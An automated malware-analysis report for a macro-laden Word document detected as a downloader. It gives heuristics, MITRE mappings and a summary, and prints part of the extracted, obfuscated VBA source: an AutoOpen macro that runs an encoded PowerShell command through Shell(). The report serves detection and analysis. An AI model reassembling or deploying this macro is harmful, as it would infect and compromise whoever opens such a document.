MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample contains VBA macros, including an AutoOpen macro, which are designed to execute code. Specifically, the Autoopen subroutine calls a function that uses the Shell() command to execute a string. This string appears to be a PowerShell command, indicated by the concatenation of strings like 'HeLL' + ' -e' + ' IAAuACgAIAAkAFAAcwBIAE8AbQBFAFsA...'. This command likely downloads and executes a second-stage payload. The ClamAV detection name 'Doc.Downloader.Valyria-6595163-0' further supports its nature as a downloader.
Heuristics 7
-
ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10378 bytes |
SHA-256: 243bca5e94a34c5a12dba9c0c4ee0f5b069c45ac609255b968e13c26d5e7b186 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "HwdfRtu" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function iSrdFmN() On Error Resume Next iKAddk = CLng(59584 * CSng(TXRMdt + ChrB(CIaam + CInt(38484)))) YXojN = Int(cifAU) rJoLbq = Azjcsl uWzpXr = Sldoz OzpsQ = lBOOwz vTOouv = TVGjqd WZXKXd = CLng(38560 * CSng(AIrLAz + ChrB(jHBpmw + CInt(3785)))) witCD = Int(tICnPP) qEZVQT = Gzjvv pzfAqj = Wabdb iHzpY = kQpDcT cizzz = GdEtdB iSrdFmN = rPMIhAAQI + Shell(UfiXujVCVjo + Chr(GblXXvqvoj + vbKeyP + wnbDAs) + "owers" + Lkjzp + ObKcIzh + lqamIFIjzZ + afhrdvF + YjbEZkY, 56639 - 56639) ivGPcv = CLng(88108 * CSng(kLHILK + ChrB(JzvDj + CInt(38708)))) lYbcj = Int(niNVn) BpKabh = WsXprn vTEzaV = fJhozO MGzlV = IWzZUW zLOjj = tZUZPv End Function Sub Autoopen() On Error Resume Next wWfdl = CLng(54076 * CSng(BKlZE + ChrB(EiZTf + CInt(56694)))) OfTvw = Int(KVwrh) pCkmqW = sDEmao NkPAAt = rDTCji RzCSDr = TTsiz lAJstH = qZGwr iSrdFmN vwzRjH = CLng(83590 * CSng(aGCTX + ChrB(PuQWSC + CInt(1541)))) qtbJc = Int(qrqEb) vQUCJ = FmKtHY JDwJj = onuHFq fjPiP = sIBzaO rwOqw = CmSHui End Sub Attribute VB_Name = "YmbBIOMj" Function Lkjzp() On Error Resume Next VakwK = CLng(40276 * CSng(MqiAKL + ChrB(sTKmo + CInt(94205)))) qwDsLL = Int(CXabLq) hubbB = thmRs qLVaR = FBfch zJAKS = YzUPK jLmpG = LlzHU XDjWz = "HeLL" + " -e" + " IAAuACgAIAAkA" + "FAAcwBIAE8" + "AbQBFA" + "FsAM" + "gAxA" jzIRF = CLng(78941 * CSng(FMUcsH + ChrB(Pittja + CInt(2159)))) rGXPvW = Int(wHroi) VzHtfo = LOjui shsGY = RkGCup EoQNkE = Eufmz mvkcX = hXijEB EwlZRmsZf = "F0AKwAkAFAAcwBI" + "AG8AbQBFAFsA" + "MwA0AF0AK" + "wAnAFg" + "AJ" + "wA" + "pACgAIABuAGUA" + "VwAtAE8" + "AYgBKAEUAY" + "wBUACAA" uRtOz = CLng(24185 * CSng(ljRvB + ChrB(pJTwBF + CInt(12892)))) HVzdi = Int(IWaEM) RKHLf = ZvSCip YnXDfh = uwmvtl vvOJM = phfCHT jLCEr = BGdkT FRjswbK = "IABJAE8AL" + "gBjAG8ATQ" + "BwAFIARQBz" + "AFMASQBPAG4AL" + "gBEA" + "EUAZgBsAEEAVA" + "BFAHMAdAByAEU" XORSXM = CLng(35014 * CSng(PizDtS + ChrB(mrIVw + CInt(23210)))) RjwiE = Int(kMRLvO) TYPHpp = FCLwK COPVO = iKwhW HiJCNo = fdnOb fHmIP = zXfjV ScCTVbLci = "AQQB" + "tACgAI" + "AB" + "bAFMAW" vzYfiX = CLng(81195 * CSng(SiGQCo + ChrB(qfuPA + CInt(75557)))) iPwCj = Int(YRcCn) Rqjzz = YihzA FbAGr = RVKaOJ cqjUBG = czXjH vzbEnk = bwFJS BqlfuzrYKT = "QBz" + "AFQAZQB" + "NAC4ASQBPA" + "C4Ab" + "QBlAG0AbwBS" + "AHk" rkSvr = CLng(53767 * CSng(QWZsO + ChrB(rvsIDT + CInt(97138)))) pStFn = Int(uHjkWB) PUKBjE = PYZjpH TioCpT = BRZpD fJqpVM = cbiGX QwQtJ = jlaYr FWqZWnDYajI = "AUwBU" + "AHIAZQBhAE0AX" + "QAgAFs" + "Acw" + "BZAHMAVABFAE0" + "ALgBjAG8ATgBWA" + "GUAcgBUAF0AOgA6" + "AGYAUgBvAE0AY" hhNNCk = CLng(22755 * CSng(GCFikO + ChrB(CQrAhi + CInt(50154)))) RlYPa = Int(MEkwG) iqPZzu = IOriJu dVjYKE = iwbdV EuzVjd = wLARCm RpaDPV = uqVLoC QOCqVrR = "gB" + "hAHMARQA2ADQA" + "UwBUAFIASQB" + "uAGcAKAAg" + "AC" + "cAVg" + "BaAEQ" AunwcJ = CLng(82565 * CSng(QVwfT + ChrB(RUSVYV + CInt(80065)))) VYNAzK = Int(cJvau) QNUacr = YEEjB cWCqPh = LZPicL JoMDFZ = BHzvvd QRUizw = hZTftD QjMJnT = "AdABTAH" + "cASgBCAEUATQBi" + "AC8AbABm" + "ADEAdwBjAE" + "UA" + "cQA1AFYAeQ" rzlwRL = CLng(89332 * CSng(rAibIb + ChrB(FuUDF + CInt(89117)))) vEdNw = Int(PtXLWE) JLwdS = hZTzXp RTYLp = sjChVE RUwdS = ERGuw lONibF = XsKvV UQFUCMj = "BBAEcASABrAEcAb" + "AB2AF" + "IAR" + "wBKAGMAW" + "QB" + "rAEY" + "AUQBlAHoAdABq" + "AGQANwBxAHYAbA" + "B5ADcAb" + "wAzAHMAcQAvAHU" Lkjzp = XDjWz + EwlZRmsZf + FRjswbK + ScCTVbLci + BqlfuzrYKT + FWqZWnDYajI + QOCqVrR + QjMJnT + UQFUCMj End Function Function ObKcIzh() On Error Resume Next WYLZG = CLng(58237 * CSng(ZGZMbq + ChrB(SkoLZZ + CInt(40864)))) jiBab = Int(jTGYc) wjssz = XQfpA lYmnD = WvrSoj fCLtm = owZkl wMJCEY = ivpDcs OuhpjjIp = "AKwB" + "0AFoAb" + "ABKAGYAQgBtAGE" + "AZQAzAHoAR" + "ABQAFAASg" HChZi = CLng(85154 * CSng(UTNMW + ChrB(XLHLnB + CInt(91794)))) ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.